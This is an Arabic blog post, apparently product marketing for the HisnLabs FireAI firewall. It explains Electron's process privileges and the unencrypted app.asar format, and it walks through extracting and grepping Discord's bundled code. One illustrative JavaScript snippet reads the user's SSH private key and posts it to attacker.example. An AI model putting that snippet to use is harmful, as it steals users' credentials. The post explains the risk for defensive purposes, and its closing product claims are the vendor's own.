يجمع Electron محرك عرض Chromium مع بيئة تشغيل Node.js بحيث يمكن لقاعدة كود جافاسكريبت واحدة أن تُشحن كتطبيق سطح مكتب على macOS وWindows وLinux. Slack وDiscord وNotion وتطبيقات أخرى كثيرة مبنية بهذه الطريقة، وكان Microsoft Teams كذلك أيضًا لسنوات. الراحة حقيقية. وكذلك نتيجة تستحق الفهم: تطبيق Electron ليس عملية واحدة بمستوى صلاحية واحد، وكوده المصدري المُجمَّع ليس صعب القراءة.
عمليتان، مستويا صلاحية
لكل تطبيق Electron عملية رئيسية (Main) تعمل بكامل صلاحيات Node.js مع وصول عادي على مستوى النظام إلى الملفات والشبكة، وعملية أو أكثر من عمليات العرض (Renderer) التي تعرض محتوى ويب داخل سياق Chromium. توثيق الأمان الخاص بـ Electron صريح بشأن خطر طمس هذا الخط الفاصل: «من الضروري ألا تُفعّل تكامل Node.js في أي عملية عرض تحمّل محتوى بعيدًا»، لأن القيام بذلك يزيل الحاجز بين صفحة ويب ونظام التشغيل. والإصلاح الذي يوصي به التوثيق ليس «الثقة بالمحتوى بدلًا من ذلك»، بل إصلاح معماري: أبقِ وصول Node بعيدًا عن عملية العرض، واعرض لها واجهة برمجية ضيقة عن قصد عبر سكربت تحميل مسبق (preload) وواجهة contextBridge، مع تفعيل عزل السياق (context isolation).
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')
const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)الأرشيف ليس سرًا: استخراج تطبيق حقيقي
تشحن معظم تطبيقات Electron كود جافاسكريبت وHTML الخاص بها داخل ملف app.asar. توثيق Electron نفسه صريح بشأن الغرض من هذا التنسيق: «الأرشيفات للقراءة فقط»، والهدف من التجميع في أرشيف واحد هو «إخفاء الكود المصدري عن الفحص العابر» — بحسب صياغتها هي، لا ادّعاء من طرف خارجي — بينما تنص في مكان آخر بوضوح على أن ASAR لا يوفر أي تشفير. وللتحقق من معنى ذلك عمليًا، استخرجنا النسخة الحقيقية المثبَّتة حاليًا من Discord لنظام macOS (الإصدار 0.0.294) على هذا الجهاز، باستخدام أداة التعبئة التي تصونها Electron نفسها.
npm install -g @electron/asar
asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
find ./discord_src -type f | wc -l
1056أنتج أمر واحد 1,056 ملفًا نصيًا عاديًا: جافاسكريبت مقروء، وملف package.json، وتنظيم وحدات Discord نفسه، تمامًا كما يذكر توثيق Electron. لا فك تجميع، ولا هندسة عكسية، ولا كلمة مرور. هذا ليس عيبًا في Discord؛ بل هي الطريقة التي يعمل بها تنسيق ASAR لكل تطبيق Electron، بحسب التصميم.
ما الذي يُظهره استخراج حقيقي عن سلوك الشبكة
مع وجود الكود المصدري كنص عادي، تصبح مراجعة الأمان والبحث كلاهما أمرًا بسيطًا. بحثنا في الملفات المُستخرَجة عن أمرين: ما هي إعدادات webPreferences التي يضبطها Discord فعليًا، وأسماء المضيفين التي تظهر في كوده الخاص (باستثناء node_modules التابعة لأطراف ثالثة).
grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376: nodeIntegration: false,
app_bootstrap/splashScreen.js:379: contextIsolation: true,
grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
12 www.w3.org
3 twitter.com
3 discord.com
2 github.com
1 updates.discord.com
1 reactjs.orgإنصافًا للتطبيق المحدد الذي اختبرناه: تتبع نافذة شاشة البدء (splash screen) في Discord نصيحة التحصين من Electron بالضبط، بضبط nodeIntegration: false وcontextIsolation: true. وهذا يستحق أن يُذكر بوضوح لا أن يُتجاوز. النقطة التي يوضحها هذا ليست أن Discord غير آمن؛ بل أننا استطعنا التحقق، خلال دقائق، من أي تطبيق Electron، لأن تنسيق الأرشيف لا يخفي شيئًا. معظم من يثبّتون تطبيق Electron لا ينظرون إلى ذلك أبدًا، ومعظم أدوات نقاط النهاية الساكنة لا تفعل ذلك أيضًا.
لماذا لا يمكن لجدار حماية يعتمد على ثقة الملف التنفيذي أن يساعد هنا
ما من اسم مضيف أعلاه سري أو مفاجئ بالنسبة لتطبيق دردشة، وهذه بالضبط المشكلة بالنسبة للدفاع على مستوى الشبكة. جدار الحماية الذي يقرر بناءً على توقيع الكود يرى شيئًا واحدًا: ملفًا تنفيذيًا موثّقًا (notarized) وموقّعًا من Apple يجري طلبات HTTPS عادية على المنفذ 443. وليس لديه طريقة للتمييز بين استدعاء واجهة برمجية مشروع، وحزمة تحليلات مُضمَّنة، وفي حالة عملية عرض مُخترَقة فعليًا، محاولة تسريب بيانات. الثلاثة جميعًا تبدو مثل العملية الموثوقة نفسها وهي تتحدث مع الإنترنت، لأنها بالفعل العملية نفسها.
- الحكم على تطبيق Electron بناءً على توقيع الكود لا يقول شيئًا عن أي من اعتمادياته المُضمَّنة العديدة هي التي تجري أي اتصالات.
- بما أن الكود المصدري جافاسكريبت عادي في أرشيف غير مشفّر، فإن تدقيق ما يمكن لتطبيق الوصول إليه أمر واقعي، لا نظري، لأي شخص مستعد لتشغيل
asar extract. - الضابط الوحيد الذي لا يعتمد على الثقة بالملف التنفيذي هو سياسة شبكة لكل عملية ولكل وجهة: أي تقرير، عند مستوى المقبس، ما الذي يُسمح لتطبيق معين بالوصول إليه.
دور FireAI وHisnLabs
A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.
FireAI هو منتج HisnLabs نفسها: جدار حماية بذكاء اصطناعي يعمل على جهاز Mac مباشرة. يعرض بلغة واضحة كل اتصال تجريه تطبيقاتك، ويترك لك القرار فيما يخرج من جهازك — ذكاؤه الاصطناعي يعمل محليًا، فلا يُرسَل ترافيكك إلينا ولا إلى أي جهة أخرى أبدًا. فريق أبحاث الأمن في HisnLabs هو من يحافظ على دقة هذه القرارات: يصنّف النطاقات بين قياس عن بُعد عادي وخدمة حقيقية، ويتتبّع بلد وشبكة كل اتصال، ويدرّب النموذج المحلي (ميزة Autopilot) على حركة اتصال حقيقية، دون أن يغادر أي شيء جهاز Mac.
يمكنك الاطلاع على القرارات التقنية وراء ذلك، أو تجربة FireAI لمدة 17 يومًا، على FireAI من HisnLabs.
